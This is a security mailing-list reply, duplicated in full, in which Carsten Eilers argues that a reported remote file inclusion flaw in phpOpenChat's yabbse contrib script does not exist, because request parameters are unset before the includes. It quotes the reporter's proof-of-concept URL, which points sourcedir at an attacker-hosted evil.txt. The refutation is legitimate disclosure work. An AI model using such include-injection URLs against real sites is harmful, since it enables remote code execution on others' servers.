Carsten Eilers
08/09/06, 01:40
Hi,
stormhacker@hotmail.com schrieb am Wed, 6 Sep 2006 19:17:11 +0000:
>-----------------Description---------------
>
>
>include=5Fonce("QueryString.php");
>
>include=5Fonce("Settings.php");
>
>include=5Fonce("$sourcedir/Subs.php");
>
>include=5Fonce("$sourcedir/Errors.php");
>
>include=5Fonce("$sourcedir/Load.php");
>
>//include=5Fonce("$sourcedir/Security.php");
Nice.
But you forgot the three little line above of this:
|=A0$givenParams =3D array=5Fkeys($=5FREQUEST);
| foreach($givenParams as $param )
| unset(${$param});
And this...
>--------------PoC/Exploit----------------------
>
>
>http://www.host.com/phpopenchat/contrib/yabbse/poc.php=3Fsourcedir=3Dhttp:=
//
>host/evil.txt=3F
.... unsets your set sourcedir.
Result: There is no vulnerability.
Maybee $sourcedir is set/manipulated in QueryString.php
or Settings.php, but these script see nothing about your
manipulated sourcedir since it's unset before the includes.
>--------------Solution---------------------
>
>
>No Patch available.
No patch necessary.
Regards
Carsten
--
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz
<http://www.ceilers-it.de>
stormhacker@hotmail.com schrieb am Wed, 6 Sep 2006 19:17:11 +0000:
>-----------------Description---------------
>
>
>include=5Fonce("QueryString.php");
>
>include=5Fonce("Settings.php");
>
>include=5Fonce("$sourcedir/Subs.php");
>
>include=5Fonce("$sourcedir/Errors.php");
>
>include=5Fonce("$sourcedir/Load.php");
>
>//include=5Fonce("$sourcedir/Security.php");
Nice.
But you forgot the three little line above of this:
|=A0$givenParams =3D array=5Fkeys($=5FREQUEST);
| foreach($givenParams as $param )
| unset(${$param});
And this...
>--------------PoC/Exploit----------------------
>
>
>http://www.host.com/phpopenchat/contrib/yabbse/poc.php=3Fsourcedir=3Dhttp:=
//
>host/evil.txt=3F
.... unsets your set sourcedir.
Result: There is no vulnerability.
Maybee $sourcedir is set/manipulated in QueryString.php
or Settings.php, but these script see nothing about your
manipulated sourcedir since it's unset before the includes.
>--------------Solution---------------------
>
>
>No Patch available.
No patch necessary.
Regards
Carsten
--
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz
<http://www.ceilers-it.de>